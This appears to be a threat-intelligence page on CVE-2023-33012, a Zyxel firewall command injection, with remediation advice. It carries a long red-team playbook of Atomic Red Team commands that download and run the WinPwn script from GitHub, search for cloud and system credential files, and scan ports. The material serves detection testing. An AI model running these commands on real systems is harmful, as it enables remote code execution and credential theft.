CVE-2023-33012

HIGH EXPLOIT TTE 190d Pub 17/07 Upd 05/03

Overview

This vulnerability is a command injection flaw rooted in improper input validation within the configuration parser of Zyxel ATP series firmware and related models. The flaw arises when parsing crafted GRE configuration data while cloud management mode is enabled, allowing injection of arbitrary OS commands. The affected component is the configuration parser handling GRE tunnel parameters in specific Zyxel firewall and VPN firmware versions.

Vulnerability Description

A command injection vulnerability in the configuration parser of the Zyxel ATP series firmware versions 5.10 through 5.36 Patch 2, USG FLEX series firmware versions 5.00 through 5.36 Patch 2, USG FLEX 50(W) series firmware versions 5.10 through 5.36 Patch 2, USG20(W)-VPN series firmware versions 5.10 through 5.36 Patch 2, and VPN series firmware versions 5.00 through 5.36 Patch 2, could allow an unauthenticated, LAN-based attacker to execute some OS commands by using a crafted GRE configuration when the cloud management mode is enabled.

Impact

An unauthenticated attacker with LAN access can execute arbitrary operating system commands on affected Zyxel devices by exploiting the GRE configuration parser flaw, enabling full compromise of device functionality. No user interaction or authentication is required, as indicated by the CVSS vector (AV:A/AC:L/PR:N/UI:N). This can lead to unauthorized control, data exposure, and disruption of network security infrastructure in environments utilizing cloud management mode.

Solution

Zyxel has released firmware updates addressing this vulnerability for affected ATP, USG FLEX, and VPN series devices up to version 5.36 Patch 2. Administrators should apply the latest firmware updates as detailed in Zyxel's official security advisory at https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-multiple-vulnerabilities-in-firewalls-and-wlan-controllers. Following Zyxel's prescribed upgrade procedures ensures remediation of the command injection flaw in the configuration parser.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A command injection vulnerability has been identified in the configuration parser of specific Zyxel firmware versions, affecting a range of products including the ATP series and USG FLEX series. This flaw allows an unauthenticated attacker on the local area network (LAN) to execute arbitrary operating system commands by crafting a malicious GRE (Generic Routing Encapsulation) configuration when cloud management mode is enabled. The severity of this vulnerability is underscored by its high CVSS score of 8.8, indicating a significant risk to the integrity and confidentiality of the affected systems.

Attack vectors for this vulnerability primarily involve an attacker leveraging local network access to send specially crafted GRE configurations to the vulnerable devices. Since the command injection occurs without authentication, it lowers the barrier for exploitation, making it accessible to any malicious actor within the network perimeter. Once exploited, the attacker could execute arbitrary commands with the privileges of the affected device, potentially leading to unauthorized access, data exfiltration, or even complete system compromise. Scenarios could include an attacker gaining control over network traffic, manipulating device configurations, or deploying further malicious payloads within the network.

The real-world impact of this vulnerability is substantial, particularly for organizations relying on Zyxel devices for network security and management. A successful exploitation could lead to severe business risks, including data breaches, service disruptions, and reputational damage. The ability to execute commands on critical network infrastructure can facilitate lateral movement within an organization's network, allowing attackers to target other systems and sensitive data. Furthermore, the implications extend beyond immediate financial loss; regulatory compliance issues may arise if sensitive information is compromised, leading to potential legal ramifications.

To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating firmware to the latest versions that address known vulnerabilities is crucial. Network segmentation can also limit the exposure of vulnerable devices to untrusted networks. Intrusion detection systems (IDS) should be configured to monitor for unusual traffic patterns indicative of exploitation attempts, such as malformed GRE packets. Additionally, organizations should conduct regular security assessments and penetration testing to identify and remediate vulnerabilities proactively.

In conclusion, the command injection vulnerability in Zyxel firmware represents a critical security concern for affected organizations. The potential for unauthorized command execution poses significant risks to network integrity and data security. By understanding the technical details, attack vectors, and real-world implications, organizations can better prepare their defenses against such vulnerabilities. Implementing robust detection and mitigation strategies will be essential in safeguarding their network environments from exploitation.




CSURFACE threat intelligence has detected a moderate increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2023-33012, reflecting a growing likelihood of exploitation in the near term. This upward trend, although not rapid, signals heightened interest or activity around this Zyxel firmware command injection vulnerability. Concurrently, the availability of a Metasploit module targeting multiple affected Zyxel devices, despite limitations in real-device testing, lowers the barrier for adversaries to develop and deploy exploits. For defenders, this evolving landscape underscores an elevated risk of unauthorized command execution originating from local network attackers, which could compromise device integrity and broader network security. The incremental rise in exploitation probability, combined with accessible attack tools, warrants an adjusted risk posture that recognizes a more imminent threat environment, particularly for organizations relying on vulnerable Zyxel firmware versions.

Affected Products (22)

Vendor Product Version CPE
zyxel Zyxel Usg 20w-Vpn Firmware All cpe:2.3:o:zyxel:usg_20w-vpn_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Usg 2200-Vpn Firmware All cpe:2.3:o:zyxel:usg_2200-vpn_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Usg Flex 100 Firmware All cpe:2.3:o:zyxel:usg_flex_100_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Usg Flex 100w Firmware All cpe:2.3:o:zyxel:usg_flex_100w_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Usg Flex 200 Firmware All cpe:2.3:o:zyxel:usg_flex_200_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Usg Flex 50 Firmware All cpe:2.3:o:zyxel:usg_flex_50_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Usg Flex 500 Firmware All cpe:2.3:o:zyxel:usg_flex_500_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Usg Flex 50w Firmware All cpe:2.3:o:zyxel:usg_flex_50w_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Usg Flex 700 Firmware All cpe:2.3:o:zyxel:usg_flex_700_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Zywall Atp100 Firmware All cpe:2.3:o:zyxel:zywall_atp100_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Zywall Atp100w Firmware All cpe:2.3:o:zyxel:zywall_atp100w_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Zywall Atp200 Firmware All cpe:2.3:o:zyxel:zywall_atp200_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Zywall Atp500 Firmware All cpe:2.3:o:zyxel:zywall_atp500_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Zywall Atp700 Firmware All cpe:2.3:o:zyxel:zywall_atp700_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Zywall Atp800 Firmware All cpe:2.3:o:zyxel:zywall_atp800_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Zywall Vpn100 Firmware All cpe:2.3:o:zyxel:zywall_vpn100_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Zywall Vpn2s Firmware All cpe:2.3:o:zyxel:zywall_vpn2s_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Zywall Vpn300 Firmware All cpe:2.3:o:zyxel:zywall_vpn300_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Zywall Vpn50 Firmware All cpe:2.3:o:zyxel:zywall_vpn50_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Zywall Vpn 100 Firmware All cpe:2.3:o:zyxel:zywall_vpn_100_firmware:*:*:*:*:*:*:*:*
+2 additional CPEs
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
Zyxel parse_config.py Command Injection
exploits/linux/http/zyxel_parse_config_rce
SSD Secure Disclosure technical team, jheysel-r7 Unknown linux, unix View
Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

1 events
2024-01-24
Exploit Published (0 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
100% command_injection
Remote Code Execution
80% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-88 OS Command Injection
55%
High High
CAPEC-6 Argument Injection
51%
High High
CAPEC-43 Exploiting Multiple Input Interpretation Layers
48%
Medium High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (2)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2023-33012
zyxel.com
GitHub CVE
https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-multiple-vulnerabilities-in-firewalls-and-wlan-controllers